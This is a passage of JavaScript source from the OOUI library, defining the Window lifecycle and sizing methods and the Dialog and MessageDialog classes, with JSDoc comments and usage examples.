* @return {boolean} Window is opening
*/
OO.ui.Window.prototype.isOpening = function () {
return this.manager.isOpening( this );
};
/**
* Check if the window is closing.
*
* This method is a wrapper around the window manager's
* {@link OO.ui.WindowManager#isClosing isClosing} method.
*
* @return {boolean} Window is closing
*/
OO.ui.Window.prototype.isClosing = function () {
return this.manager.isClosing( this );
};
/**
* Check if the window is opened.
*
* This method is a wrapper around the window manager's
* {@link OO.ui.WindowManager#isOpened isOpened} method.
*
* @return {boolean} Window is opened
*/
OO.ui.Window.prototype.isOpened = function () {
return this.manager.isOpened( this );
};
/**
* Get the window manager.
*
* All windows must be attached to a window manager, which is used to open
* and close the window and control its presentation.
*
* @return {OO.ui.WindowManager} Manager of window
*/
OO.ui.Window.prototype.getManager = function () {
return this.manager;
};
/**
* Get the symbolic name of the window size (e.g., `small` or `medium`).
*
* @return {string} Symbolic name of the size: `small`, `medium`, `large`, `larger`, `full`
*/
OO.ui.Window.prototype.getSize = function () {
var viewport = OO.ui.Element.static.getDimensions( this.getElementWindow() ),
sizes = this.manager.constructor.static.sizes,
size = this.size;
if ( !sizes[ size ] ) {
size = this.manager.constructor.static.defaultSize;
}
if ( size !== 'full' && viewport.rect.right - viewport.rect.left < sizes[ size ].width ) {
size = 'full';
}
return size;
};
/**
* Get the size properties associated with the current window size
*
* @return {Object} Size properties
*/
OO.ui.Window.prototype.getSizeProperties = function () {
return this.manager.constructor.static.sizes[ this.getSize() ];
};
/**
* Disable transitions on window's frame for the duration of the callback function, then enable them
* back.
*
* @private
* @param {Function} callback Function to call while transitions are disabled
*/
OO.ui.Window.prototype.withoutSizeTransitions = function ( callback ) {
// Temporarily resize the frame so getBodyHeight() can use scrollHeight measurements.
// Disable transitions first, otherwise we'll get values from when the window was animating.
// We need to build the transition CSS properties using these specific properties since
// Firefox doesn't return anything useful when asked just for 'transition'.
var oldTransition = this.$frame.css( 'transition-property' ) + ' ' +
this.$frame.css( 'transition-duration' ) + ' ' +
this.$frame.css( 'transition-timing-function' ) + ' ' +
this.$frame.css( 'transition-delay' );
this.$frame.css( 'transition', 'none' );
callback();
// Force reflow to make sure the style changes done inside callback
// really are not transitioned
this.$frame.height();
this.$frame.css( 'transition', oldTransition );
};
/**
* Get the height of the full window contents (i.e., the window head, body and foot together).
*
* What constitutes the head, body, and foot varies depending on the window type.
* A {@link OO.ui.MessageDialog message dialog} displays a title and message in its body,
* and any actions in the foot. A {@link OO.ui.ProcessDialog process dialog} displays a title
* and special actions in the head, and dialog content in the body.
*
* To get just the height of the dialog body, use the #getBodyHeight method.
*
* @return {number} The height of the window contents (the dialog head, body and foot) in pixels
*/
OO.ui.Window.prototype.getContentHeight = function () {
var bodyHeight,
win = this,
bodyStyleObj = this.$body[ 0 ].style,
frameStyleObj = this.$frame[ 0 ].style;
// Temporarily resize the frame so getBodyHeight() can use scrollHeight measurements.
// Disable transitions first, otherwise we'll get values from when the window was animating.
this.withoutSizeTransitions( function () {
var oldHeight = frameStyleObj.height,
oldPosition = bodyStyleObj.position;
frameStyleObj.height = '1px';
// Force body to resize to new width
bodyStyleObj.position = 'relative';
bodyHeight = win.getBodyHeight();
frameStyleObj.height = oldHeight;
bodyStyleObj.position = oldPosition;
} );
return (
// Add buffer for border
( this.$frame.outerHeight() - this.$frame.innerHeight() ) +
// Use combined heights of children
( this.$head.outerHeight( true ) + bodyHeight + this.$foot.outerHeight( true ) )
);
};
/**
* Get the height of the window body.
*
* To get the height of the full window contents (the window body, head, and foot together),
* use #getContentHeight.
*
* When this function is called, the window will temporarily have been resized
* to height=1px, so .scrollHeight measurements can be taken accurately.
*
* @return {number} Height of the window body in pixels
*/
OO.ui.Window.prototype.getBodyHeight = function () {
return this.$body[ 0 ].scrollHeight;
};
/**
* Get the directionality of the frame (right-to-left or left-to-right).
*
* @return {string} Directionality: `'ltr'` or `'rtl'`
*/
OO.ui.Window.prototype.getDir = function () {
return OO.ui.Element.static.getDir( this.$content ) || 'ltr';
};
/**
* Get the 'setup' process.
*
* The setup process is used to set up a window for use in a particular context, based on the `data`
* argument. This method is called during the opening phase of the window’s lifecycle (before the
* opening animation). You can add elements to the window in this process or set their default
* values.
*
* Override this method to add additional steps to the ‘setup’ process the parent method provides
* using the {@link OO.ui.Process#first first} and {@link OO.ui.Process#next next} methods
* of OO.ui.Process.
*
* To add window content that persists between openings, you may wish to use the #initialize method
* instead.
*
* @param {Object} [data] Window opening data
* @return {OO.ui.Process} Setup process
*/
OO.ui.Window.prototype.getSetupProcess = function () {
return new OO.ui.Process();
};
/**
* Get the ‘ready’ process.
*
* The ready process is used to ready a window for use in a particular context, based on the `data`
* argument. This method is called during the opening phase of the window’s lifecycle, after the
* window has been {@link #getSetupProcess setup} (after the opening animation). You can focus
* elements in the window in this process, or open their dropdowns.
*
* Override this method to add additional steps to the ‘ready’ process the parent method
* provides using the {@link OO.ui.Process#first first} and {@link OO.ui.Process#next next}
* methods of OO.ui.Process.
*
* @param {Object} [data] Window opening data
* @return {OO.ui.Process} Ready process
*/
OO.ui.Window.prototype.getReadyProcess = function () {
return new OO.ui.Process();
};
/**
* Get the 'hold' process.
*
* The hold process is used to keep a window from being used in a particular context, based on the
* `data` argument. This method is called during the closing phase of the window’s lifecycle (before
* the closing animation). You can close dropdowns of elements in the window in this process, if
* they do not get closed automatically.
*
* Override this method to add additional steps to the 'hold' process the parent method provides
* using the {@link OO.ui.Process#first first} and {@link OO.ui.Process#next next} methods
* of OO.ui.Process.
*
* @param {Object} [data] Window closing data
* @return {OO.ui.Process} Hold process
*/
OO.ui.Window.prototype.getHoldProcess = function () {
return new OO.ui.Process();
};
/**
* Get the ‘teardown’ process.
*
* The teardown process is used to teardown a window after use. During teardown, user interactions
* within the window are conveyed and the window is closed, based on the `data` argument. This
* method is called during the closing phase of the window’s lifecycle (after the closing
* animation). You can remove elements in the window in this process or clear their values.
*
* Override this method to add additional steps to the ‘teardown’ process the parent method provides
* using the {@link OO.ui.Process#first first} and {@link OO.ui.Process#next next} methods
* of OO.ui.Process.
*
* @param {Object} [data] Window closing data
* @return {OO.ui.Process} Teardown process
*/
OO.ui.Window.prototype.getTeardownProcess = function () {
return new OO.ui.Process();
};
/**
* Set the window manager.
*
* This will cause the window to initialize. Calling it more than once will cause an error.
*
* @param {OO.ui.WindowManager} manager Manager for this window
* @throws {Error} An error is thrown if the method is called more than once
* @chainable
* @return {OO.ui.Window} The window, for chaining
*/
OO.ui.Window.prototype.setManager = function ( manager ) {
if ( this.manager ) {
throw new Error( 'Cannot set window manager, window already has a manager' );
}
this.manager = manager;
this.initialize();
return this;
};
/**
* Set the window size by symbolic name (e.g., 'small' or 'medium')
*
* @param {string} size Symbolic name of size: `small`, `medium`, `large`, `larger` or
* `full`
* @chainable
* @return {OO.ui.Window} The window, for chaining
*/
OO.ui.Window.prototype.setSize = function ( size ) {
this.size = size;
this.updateSize();
return this;
};
/**
* Update the window size.
*
* @throws {Error} An error is thrown if the window is not attached to a window manager
* @chainable
* @return {OO.ui.Window} The window, for chaining
*/
OO.ui.Window.prototype.updateSize = function () {
if ( !this.manager ) {
throw new Error( 'Cannot update window size, must be attached to a manager' );
}
this.manager.updateWindowSize( this );
return this;
};
/**
* Set window dimensions. This method is called by the {@link OO.ui.WindowManager window manager}
* when the window is opening. In general, setDimensions should not be called directly.
*
* To set the size of the window, use the #setSize method.
*
* @param {Object} dim CSS dimension properties
* @param {string|number} [dim.width] Width
* @param {string|number} [dim.minWidth] Minimum width
* @param {string|number} [dim.maxWidth] Maximum width
* @param {string|number} [dim.height] Height, omit to set based on height of contents
* @param {string|number} [dim.minHeight] Minimum height
* @param {string|number} [dim.maxHeight] Maximum height
* @chainable
* @return {OO.ui.Window} The window, for chaining
*/
OO.ui.Window.prototype.setDimensions = function ( dim ) {
var height,
win = this,
styleObj = this.$frame[ 0 ].style;
// Calculate the height we need to set using the correct width
if ( dim.height === undefined ) {
this.withoutSizeTransitions( function () {
var oldWidth = styleObj.width;
win.$frame.css( 'width', dim.width || '' );
height = win.getContentHeight();
styleObj.width = oldWidth;
} );
} else {
height = dim.height;
}
this.$frame.css( {
width: dim.width || '',
minWidth: dim.minWidth || '',
maxWidth: dim.maxWidth || '',
height: height || '',
minHeight: dim.minHeight || '',
maxHeight: dim.maxHeight || ''
} );
return this;
};
/**
* Initialize window contents.
*
* Before the window is opened for the first time, #initialize is called so that content that
* persists between openings can be added to the window.
*
* To set up a window with new content each time the window opens, use #getSetupProcess.
*
* @throws {Error} An error is thrown if the window is not attached to a window manager
* @chainable
* @return {OO.ui.Window} The window, for chaining
*/
OO.ui.Window.prototype.initialize = function () {
if ( !this.manager ) {
throw new Error( 'Cannot initialize window, must be attached to a manager' );
}
// Properties
this.$head = $( '<div>' );
this.$body = $( '<div>' );
this.$foot = $( '<div>' );
this.$document = $( this.getElementDocument() );
// Events
this.$element.on( 'mousedown', this.onMouseDown.bind( this ) );
// Initialization
this.$head.addClass( 'oo-ui-window-head' );
this.$body.addClass( 'oo-ui-window-body' );
this.$foot.addClass( 'oo-ui-window-foot' );
this.$content.append( this.$head, this.$body, this.$foot );
return this;
};
/**
* Called when someone tries to focus the hidden element at the end of the dialog.
* Sends focus back to the start of the dialog.
*
* @param {jQuery.Event} event Focus event
*/
OO.ui.Window.prototype.onFocusTrapFocused = function ( event ) {
var backwards = this.$focusTrapBefore.is( event.target ),
element = OO.ui.findFocusable( this.$content, backwards );
if ( element ) {
// There's a focusable element inside the content, at the front or
// back depending on which focus trap we hit; select it.
element.focus();
} else {
// There's nothing focusable inside the content. As a fallback,
// this.$content is focusable, and focusing it will keep our focus
// properly trapped. It's not a *meaningful* focus, since it's just
// the content-div for the Window, but it's better than letting focus
// escape into the page.
this.$content.trigger( 'focus' );
}
};
/**
* Open the window.
*
* This method is a wrapper around a call to the window
* manager’s {@link OO.ui.WindowManager#openWindow openWindow} method.
*
* To customize the window each time it opens, use #getSetupProcess or #getReadyProcess.
*
* @param {Object} [data] Window opening data
* @return {OO.ui.WindowInstance} See OO.ui.WindowManager#openWindow
* @throws {Error} An error is thrown if the window is not attached to a window manager
*/
OO.ui.Window.prototype.open = function ( data ) {
if ( !this.manager ) {
throw new Error( 'Cannot open window, must be attached to a manager' );
}
return this.manager.openWindow( this, data );
};
/**
* Close the window.
*
* This method is a wrapper around a call to the window
* manager’s {@link OO.ui.WindowManager#closeWindow closeWindow} method.
*
* The window's #getHoldProcess and #getTeardownProcess methods are called during the closing
* phase of the window’s lifecycle and can be used to specify closing behavior each time
* the window closes.
*
* @param {Object} [data] Window closing data
* @return {OO.ui.WindowInstance} See OO.ui.WindowManager#closeWindow
* @throws {Error} An error is thrown if the window is not attached to a window manager
*/
OO.ui.Window.prototype.close = function ( data ) {
if ( !this.manager ) {
throw new Error( 'Cannot close window, must be attached to a manager' );
}
return this.manager.closeWindow( this, data );
};
/**
* Setup window.
*
* This is called by OO.ui.WindowManager during window opening (before the animation), and should
* not be called directly by other systems.
*
* @param {Object} [data] Window opening data
* @return {jQuery.Promise} Promise resolved when window is setup
*/
OO.ui.Window.prototype.setup = function ( data ) {
var win = this;
this.toggle( true );
this.focusTrapHandler = OO.ui.bind( this.onFocusTrapFocused, this );
this.$focusTraps.on( 'focus', this.focusTrapHandler );
return this.getSetupProcess( data ).execute().then( function () {
win.updateSize();
// Force redraw by asking the browser to measure the elements' widths
win.$element.addClass( 'oo-ui-window-active oo-ui-window-setup' ).width();
win.$content.addClass( 'oo-ui-window-content-setup' ).width();
} );
};
/**
* Ready window.
*
* This is called by OO.ui.WindowManager during window opening (after the animation), and should not
* be called directly by other systems.
*
* @param {Object} [data] Window opening data
* @return {jQuery.Promise} Promise resolved when window is ready
*/
OO.ui.Window.prototype.ready = function ( data ) {
var win = this;
this.$content.trigger( 'focus' );
return this.getReadyProcess( data ).execute().then( function () {
// Force redraw by asking the browser to measure the elements' widths
win.$element.addClass( 'oo-ui-window-ready' ).width();
win.$content.addClass( 'oo-ui-window-content-ready' ).width();
} );
};
/**
* Hold window.
*
* This is called by OO.ui.WindowManager during window closing (before the animation), and should
* not be called directly by other systems.
*
* @param {Object} [data] Window closing data
* @return {jQuery.Promise} Promise resolved when window is held
*/
OO.ui.Window.prototype.hold = function ( data ) {
var win = this;
return this.getHoldProcess( data ).execute().then( function () {
// Get the focused element within the window's content
var $focus = win.$content.find(
OO.ui.Element.static.getDocument( win.$content ).activeElement
);
// Blur the focused element
if ( $focus.length ) {
$focus[ 0 ].blur();
}
// Force redraw by asking the browser to measure the elements' widths
win.$element.removeClass( 'oo-ui-window-ready oo-ui-window-setup' ).width();
win.$content.removeClass( 'oo-ui-window-content-ready oo-ui-window-content-setup' ).width();
} );
};
/**
* Teardown window.
*
* This is called by OO.ui.WindowManager during window closing (after the animation), and should not
* be called directly by other systems.
*
* @param {Object} [data] Window closing data
* @return {jQuery.Promise} Promise resolved when window is torn down
*/
OO.ui.Window.prototype.teardown = function ( data ) {
var win = this;
return this.getTeardownProcess( data ).execute().then( function () {
// Force redraw by asking the browser to measure the elements' widths
win.$element.removeClass( 'oo-ui-window-active' ).width();
win.$focusTraps.off( 'focus', win.focusTrapHandler );
win.toggle( false );
} );
};
/**
* The Dialog class serves as the base class for the other types of dialogs.
* Unless extended to include controls, the rendered dialog box is a simple window
* that users can close by hitting the Escape key. Dialog windows are used with OO.ui.WindowManager,
* which opens, closes, and controls the presentation of the window. See the
* [OOUI documentation on MediaWiki] [1] for more information.
*
* @example
* // A simple dialog window.
* function MyDialog( config ) {
* MyDialog.super.call( this, config );
* }
* OO.inheritClass( MyDialog, OO.ui.Dialog );
* MyDialog.static.name = 'myDialog';
* MyDialog.prototype.initialize = function () {
* MyDialog.super.prototype.initialize.call( this );
* this.content = new OO.ui.PanelLayout( { padded: true, expanded: false } );
* this.content.$element.append( '<p>A simple dialog window. Press Escape key to ' +
* 'close.</p>' );
* this.$body.append( this.content.$element );
* };
* MyDialog.prototype.getBodyHeight = function () {
* return this.content.$element.outerHeight( true );
* };
* var myDialog = new MyDialog( {
* size: 'medium'
* } );
* // Create and append a window manager, which opens and closes the window.
* var windowManager = new OO.ui.WindowManager();
* $( document.body ).append( windowManager.$element );
* windowManager.addWindows( [ myDialog ] );
* // Open the window!
* windowManager.openWindow( myDialog );
*
* [1]: https://www.mediawiki.org/wiki/OOUI/Windows/Dialogs
*
* @abstract
* @class
* @extends OO.ui.Window
* @mixins OO.ui.mixin.PendingElement
*
* @constructor
* @param {Object} [config] Configuration options
*/
OO.ui.Dialog = function OoUiDialog( config ) {
// Parent constructor
OO.ui.Dialog.super.call( this, config );
// Mixin constructors
OO.ui.mixin.PendingElement.call( this );
// Properties
this.actions = new OO.ui.ActionSet();
this.attachedActions = [];
this.currentAction = null;
this.onDialogKeyDownHandler = this.onDialogKeyDown.bind( this );
// Events
this.actions.connect( this, {
click: 'onActionClick',
change: 'onActionsChange'
} );
// Initialization
this.$element
.addClass( 'oo-ui-dialog' )
.attr( 'role', 'dialog' );
};
/* Setup */
OO.inheritClass( OO.ui.Dialog, OO.ui.Window );
OO.mixinClass( OO.ui.Dialog, OO.ui.mixin.PendingElement );
/* Static Properties */
/**
* Symbolic name of dialog.
*
* The dialog class must have a symbolic name in order to be registered with OO.Factory.
* Please see the [OOUI documentation on MediaWiki] [3] for more information.
*
* [3]: https://www.mediawiki.org/wiki/OOUI/Windows/Window_managers
*
* @abstract
* @static
* @inheritable
* @property {string}
*/
OO.ui.Dialog.static.name = '';
/**
* The dialog title.
*
* The title can be specified as a plaintext string, a {@link OO.ui.mixin.LabelElement Label} node,
* or a function that will produce a Label node or string. The title can also be specified with data
* passed to the constructor (see #getSetupProcess). In this case, the static value will be
* overridden.
*
* @abstract
* @static
* @inheritable
* @property {jQuery|string|Function}
*/
OO.ui.Dialog.static.title = '';
/**
* An array of configured {@link OO.ui.ActionWidget action widgets}.
*
* Actions can also be specified with data passed to the constructor (see #getSetupProcess). In this
* case, the static value will be overridden.
*
* [2]: https://www.mediawiki.org/wiki/OOUI/Windows/Process_Dialogs#Action_sets
*
* @static
* @inheritable
* @property {Object[]}
*/
OO.ui.Dialog.static.actions = [];
/**
* Close the dialog when the Escape key is pressed.
*
* @static
* @abstract
* @inheritable
* @property {boolean}
*/
OO.ui.Dialog.static.escapable = true;
/* Methods */
/**
* Handle frame document key down events.
*
* @private
* @param {jQuery.Event} e Key down event
*/
OO.ui.Dialog.prototype.onDialogKeyDown = function ( e ) {
var actions;
if ( e.which === OO.ui.Keys.ESCAPE && this.constructor.static.escapable ) {
this.executeAction( '' );
e.preventDefault();
e.stopPropagation();
} else if ( e.which === OO.ui.Keys.ENTER && ( e.ctrlKey || e.metaKey ) ) {
actions = this.actions.get( { flags: 'primary', visible: true, disabled: false } );
if ( actions.length > 0 ) {
this.executeAction( actions[ 0 ].getAction() );
e.preventDefault();
e.stopPropagation();
}
}
};
/**
* Handle action click events.
*
* @private
* @param {OO.ui.ActionWidget} action Action that was clicked
*/
OO.ui.Dialog.prototype.onActionClick = function ( action ) {
if ( !this.isPending() ) {
this.executeAction( action.getAction() );
}
};
/**
* Handle actions change event.
*
* @private
*/
OO.ui.Dialog.prototype.onActionsChange = function () {
this.detachActions();
if ( !this.isClosing() ) {
this.attachActions();
if ( !this.isOpening() ) {
// If the dialog is currently opening, this will be called automatically soon.
this.updateSize();
}
}
};
/**
* Get the set of actions used by the dialog.
*
* @return {OO.ui.ActionSet}
*/
OO.ui.Dialog.prototype.getActions = function () {
return this.actions;
};
/**
* Get a process for taking action.
*
* When you override this method, you can create a new OO.ui.Process and return it, or add
* additional accept steps to the process the parent method provides using the
* {@link OO.ui.Process#first 'first'} and {@link OO.ui.Process#next 'next'} methods of
* OO.ui.Process.
*
* @param {string} [action] Symbolic name of action
* @return {OO.ui.Process} Action process
*/
OO.ui.Dialog.prototype.getActionProcess = function ( action ) {
return new OO.ui.Process()
.next( function () {
if ( !action ) {
// An empty action always closes the dialog without data, which should always be
// safe and make no changes
this.close();
}
}, this );
};
/**
* @inheritdoc
*
* @param {Object} [data] Dialog opening data
* @param {jQuery|string|Function|null} [data.title] Dialog title, omit to use
* the {@link #static-title static title}
* @param {Object[]} [data.actions] List of configuration options for each
* {@link OO.ui.ActionWidget action widget}, omit to use {@link #static-actions static actions}.
*/
OO.ui.Dialog.prototype.getSetupProcess = function ( data ) {
data = data || {};
// Parent method
return OO.ui.Dialog.super.prototype.getSetupProcess.call( this, data )
.next( function () {
var config = this.constructor.static,
actions = data.actions !== undefined ? data.actions : config.actions,
title = data.title !== undefined ? data.title : config.title;
this.title.setLabel( title ).setTitle( title );
this.actions.add( this.getActionWidgets( actions ) );
this.$element.on( 'keydown', this.onDialogKeyDownHandler );
}, this );
};
/**
* @inheritdoc
*/
OO.ui.Dialog.prototype.getTeardownProcess = function ( data ) {
// Parent method
return OO.ui.Dialog.super.prototype.getTeardownProcess.call( this, data )
.first( function () {
this.$element.off( 'keydown', this.onDialogKeyDownHandler );
this.actions.clear();
this.currentAction = null;
}, this );
};
/**
* @inheritdoc
*/
OO.ui.Dialog.prototype.initialize = function () {
// Parent method
OO.ui.Dialog.super.prototype.initialize.call( this );
// Properties
this.title = new OO.ui.LabelWidget();
// Initialization
this.$content.addClass( 'oo-ui-dialog-content' );
this.$element.attr( 'aria-labelledby', this.title.getElementId() );
this.setPendingElement( this.$head );
};
/**
* Get action widgets from a list of configs
*
* @param {Object[]} actions Action widget configs
* @return {OO.ui.ActionWidget[]} Action widgets
*/
OO.ui.Dialog.prototype.getActionWidgets = function ( actions ) {
var i, len, widgets = [];
for ( i = 0, len = actions.length; i < len; i++ ) {
widgets.push( this.getActionWidget( actions[ i ] ) );
}
return widgets;
};
/**
* Get action widget from config
*
* Override this method to change the action widget class used.
*
* @param {Object} config Action widget config
* @return {OO.ui.ActionWidget} Action widget
*/
OO.ui.Dialog.prototype.getActionWidget = function ( config ) {
return new OO.ui.ActionWidget( this.getActionWidgetConfig( config ) );
};
/**
* Get action widget config
*
* Override this method to modify the action widget config
*
* @param {Object} config Initial action widget config
* @return {Object} Action widget config
*/
OO.ui.Dialog.prototype.getActionWidgetConfig = function ( config ) {
return config;
};
/**
* Attach action actions.
*
* @protected
*/
OO.ui.Dialog.prototype.attachActions = function () {
// Remember the list of potentially attached actions
this.attachedActions = this.actions.get();
};
/**
* Detach action actions.
*
* @protected
* @chainable
* @return {OO.ui.Dialog} The dialog, for chaining
*/
OO.ui.Dialog.prototype.detachActions = function () {
var i, len;
// Detach all actions that may have been previously attached
for ( i = 0, len = this.attachedActions.length; i < len; i++ ) {
this.attachedActions[ i ].$element.detach();
}
this.attachedActions = [];
return this;
};
/**
* Execute an action.
*
* @param {string} action Symbolic name of action to execute
* @return {jQuery.Promise} Promise resolved when action completes, rejected if it fails
*/
OO.ui.Dialog.prototype.executeAction = function ( action ) {
this.pushPending();
this.currentAction = action;
return this.getActionProcess( action ).execute()
.always( this.popPending.bind( this ) );
};
/**
* MessageDialogs display a confirmation or alert message. By default, the rendered dialog box
* consists of a header that contains the dialog title, a body with the message, and a footer that
* contains any {@link OO.ui.ActionWidget action widgets}. The MessageDialog class is the only type
* of {@link OO.ui.Dialog dialog} that is usually instantiated directly.
*
* There are two basic types of message dialogs, confirmation and alert:
*
* - **confirmation**: the dialog title describes what a progressive action will do and the message
* provides more details about the consequences.
* - **alert**: the dialog title describes which event occurred and the message provides more
* information about why the event occurred.
*
* The MessageDialog class specifies two actions: ‘accept’, the primary
* action (e.g., ‘ok’) and ‘reject,’ the safe action (e.g., ‘cancel’). Both will close the window,
* passing along the selected action.
*
* For more information and examples, please see the [OOUI documentation on MediaWiki][1].
*
* @example
* // Example: Creating and opening a message dialog window.
* var messageDialog = new OO.ui.MessageDialog();
*
* // Create and append a window manager.
* var windowManager = new OO.ui.WindowManager();
* $( document.body ).append( windowManager.$element );
* windowManager.addWindows( [ messageDialog ] );
* // Open the window.
* windowManager.openWindow( messageDialog, {
* title: 'Basic message dialog',
* message: 'This is the message'
* } );
*
* [1]: https://www.mediawiki.org/wiki/OOUI/Windows/Message_Dialogs
*
* @class
* @extends OO.ui.Dialog
*
* @constructor
* @param {Object} [config] Configuration options
*/
OO.ui.MessageDialog = function OoUiMessageDialog( config ) {
// Parent constructor
OO.ui.MessageDialog.super.call( this, config );
// Properties
this.verticalActionLayout = null;
// Initialization
this.$element.addClass( 'oo-ui-messageDialog' );
};
/* Setup */
OO.inheritClass( OO.ui.MessageDialog, OO.ui.Dialog );
/* Static Properties */
/**
* @static
* @inheritdoc
*/
OO.ui.MessageDialog.static.name = 'message';
/**
* @static
* @inheritdoc
*/
OO.ui.MessageDialog.static.size = 'small';
/**
* Dialog title.
*
* The title of a confirmation dialog describes what a progressive action will do. The
* title of an alert dialog describes which event occurred.
*
* @static
* @inheritable
* @property {jQuery|string|Function|null}
*/
OO.ui.MessageDialog.static.title = null;
/**
* The message displayed in the dialog body.
*
* A confirmation message describes the consequences of a progressive action. An alert
* message describes why an event occurred.
*
* @static
* @inheritable
* @property {jQuery|string|Function|null}
*/
OO.ui.MessageDialog.static.message = null;
/**
* @static
* @inheritdoc
*/
OO.ui.MessageDialog.static.actions = [
// Note that OO.ui.alert() and OO.ui.confirm() rely on these.
{ action: 'accept', label: OO.ui.deferMsg( 'ooui-dialog-message-accept' ), flags: 'primary' },
{ action: 'reject', label: OO.ui.deferMsg( 'ooui-dialog-message-reject' ), flags: 'safe' }
];
/* Methods */
/**
* Toggle action layout between vertical and horizontal.
*
* @private
* @param {boolean} [value] Layout actions vertically, omit to toggle
* @chainable
* @return {OO.ui.MessageDialog} The dialog, for chaining
*/
OO.ui.MessageDialog.prototype.toggleVerticalActionLayout = function ( value ) {
value = value === undefined ? !this.verticalActionLayout : !!value;
if ( value !== this.verticalActionLayout ) {
this.verticalActionLayout = value;
this.$actions
.toggleClass( 'oo-ui-messageDialog-actions-vertical', value )
.toggleClass( 'oo-ui-messageDialog-actions-horizontal', !value );
}
return this;
};
/**
* @inheritdoc
*/
OO.ui.MessageDialog.prototype.getActionProcess = function ( action ) {
if ( action ) {
return new OO.ui.Process( function () {
this.close( { action: action } );
}, this );
}
return OO.ui.MessageDialog.super.prototype.getActionProcess.call( this, action );
};
/**
* @inheritdoc
*
* @param {Object} [data] Dialog opening data
* @param {jQuery|string|Function|null} [data.title] Description of the action being confirmed
* @param {jQuery|string|Function|null} [data.message] Description of the action's consequence
* @param {string} [data.size] Symbolic name of the dialog size, see OO.ui.Window
* @param {Object[]} [data.actions] List of OO.ui.ActionOptionWidget configuration options for each
* action item
*/
OO.ui.MessageDialog.prototype.getSetupProcess = function ( data ) {
data = data || {};
// Parent method
return OO.ui.MessageDialog.super.prototype.getSetupProcess.call( this, data )
.next( function () {
this.title.setLabel(
data.title !== undefined ? data.title : this.constructor.static.title
);
this.message.setLabel(
data.message !== undefined ? data.message : this.constructor.static.message
);
this.size = data.size !== undefined ? data.size : this.constructor.static.size;
}, this );
};
/**
* @inheritdoc
*/
OO.ui.MessageDialog.prototype.getReadyProcess = function ( data ) {
data = data || {};
// Parent method
return OO.ui.MessageDialog.super.prototype.getReadyProcess.call( this, data )
.next( function () {
// Focus the primary action button
var actions = this.actions.get();
actions = actions.filter( function ( action ) {
return action.getFlags().indexOf( 'primary' ) > -1;
} );
if ( actions.length > 0 ) {
actions[ 0 ].focus();
}
}, this );
};
/**
* @inheritdoc
*/
OO.ui.MessageDialog.prototype.getBodyHeight = function () {
var bodyHeight, oldOverflow,
$scrollable = this.container.$element;
oldOverflow = $scrollable[ 0 ].style.overflow;
$scrollable[ 0 ].style.overflow = 'hidden';
OO.ui.Element.static.reconsiderScrollbars( $scrollable[ 0 ] );
bodyHeight = this.text.$element.outerHeight( true );
$scrollable[ 0 ].style.overflow = oldOverflow;
return bodyHeight;
};
/**
* @inheritdoc
*/
OO.ui.MessageDialog.prototype.setDimensions = function ( dim ) {
var
dialog = this,
$scrollable = this.container.$element;
OO.ui.MessageDialog.super.prototype.setDimensions.call( this, dim );
// Twiddle the overflow property, otherwise an unnecessary scrollbar will be produced.
// Need to do it after transition completes (250ms), add 50ms just in case.
setTimeout( function () {
var oldOverflow = $scrollable[ 0 ].style.overflow,
activeElement = document.activeElement;
$scrollable[ 0 ].style.overflow = 'hidden';
OO.ui.Element.static.reconsiderScrollbars( $scrollable[ 0 ] );
// Check reconsiderScrollbars didn't destroy our focus, as we
// are doing this after the ready process.
if ( activeElement && activeElement !== document.activeElement && activeElement.focus ) {
activeElement.focus();
}
$scrollable[ 0 ].style.overflow = oldOverflow;
}, 300 );
dialog.fitActions();
// Wait for CSS transition to finish and do it again :(
setTimeout( function () {
dialog.fitActions();
}, 300 );
return this;
};
/**
* @inheritdoc
*/
OO.ui.MessageDialog.prototype.initialize = function () {
// Parent method
OO.ui.MessageDialog.super.prototype.initialize.call( this );
// Properties
this.$actions = $( '<div>' );
this.container = new OO.ui.PanelLayout( {
scrollable: true, classes: [ 'oo-ui-messageDialog-container' ]
} );
this.text = new OO.ui.PanelLayout( {
padded: true, expanded: false, classes: [ 'oo-ui-messageDialog-text' ]
} );
this.message = new OO.ui.LabelWidget( {
classes: [ 'oo-ui-messageDialog-message' ]
} );
// Initialization
this.title.$element.addClass( 'oo-ui-messageDialog-title' );
this.$content.addClass( 'oo-ui-messageDialog-content' );
this.container.$element.append( this.text.$element );
this.text.$element.append( this.title.$element, this.message.$element );
this.$body.append( this.container.$element );
this.$actions.addClass( 'oo-ui-messageDialog-actions' );
this.$foot.append( this.$actions );
};
/**
* @inheritdoc
*/
OO.ui.MessageDialog.prototype.getActionWidgetConfig = function ( config ) {
// Force unframed
return $.extend( {}, config, { framed: false } );
};
/**
* @inheritdoc
*/
OO.ui.MessageDialog.prototype.attachActions = function () {
var i, len, special, others;
// Parent method
OO.ui.MessageDialog.super.prototype.attachActions.call( this );
special = this.actions.getSpecial();
others = this.actions.getOthers();
if ( special.safe ) {
this.$actions.append( special.safe.$element );
special.safe.toggleFramed( true );
}
for ( i = 0, len = others.length; i < len; i++ ) {
this.$actions.append( others[ i ].$element );
others[ i ].toggleFramed( true );
}
if ( special.primary ) {
this.$actions.append( special.primary.$element );
special.primary.toggleFramed( true );
}
};
/**
* Fit action actions into columns or rows.
*
* Columns will be used if all labels can fit without overflow, otherwise rows will be used.
*
* @private
*/
OO.ui.MessageDialog.prototype.fitActions = function () {
var i, len, action,
previous = this.verticalActionLayout,
actions = this.actions.get();
// Detect clipping
this.toggleVerticalActionLayout( false );
for ( i = 0, len = actions.length; i < len; i++ ) {
action = actions[ i ];
if ( action.$element[ 0 ].scrollWidth > action.$element[ 0 ].clientWidth ) {
this.toggleVerticalActionLayout( true );
break;
}
}
// Move the body out of the way of the foot
this.$body.css( 'bottom', this.$foot.outerHeight( true ) );
if ( this.verticalActionLayout !== previous ) {
// We changed the layout, window height might need to be updated.
this.updateSize();
}
};
/**
* ProcessDialog windows encapsulate a {@link OO.ui.Process process} and all of the code necessary
* to complete it. If the process terminates with an error, a customizable {@link OO.ui.Error error
* interface} alerts users to the trouble, permitting the user to dismiss the error and try again
* when relevant. The ProcessDialog class is always extended and customized with the actions and
* content required for each process.
*
* The process dialog box consists of a header that visually represents the ‘working’ state of long
* processes with an animation. The header contains the dialog title as well as
* two {@link OO.ui.ActionWidget action widgets}: a ‘safe’ action on the left (e.g., ‘Cancel’) and
* a ‘primary’ action on the right (e.g., ‘Done’).
*
* Like other windows, the process dialog is managed by a
* {@link OO.ui.WindowManager window manager}.
* Please see the [OOUI documentation on MediaWiki][1] for more information and examples.
*
* @example
* // Example: Creating and opening a process dialog window.
* function MyProcessDialog( config ) {
* MyProcessDialog.super.call( this, config );
* }
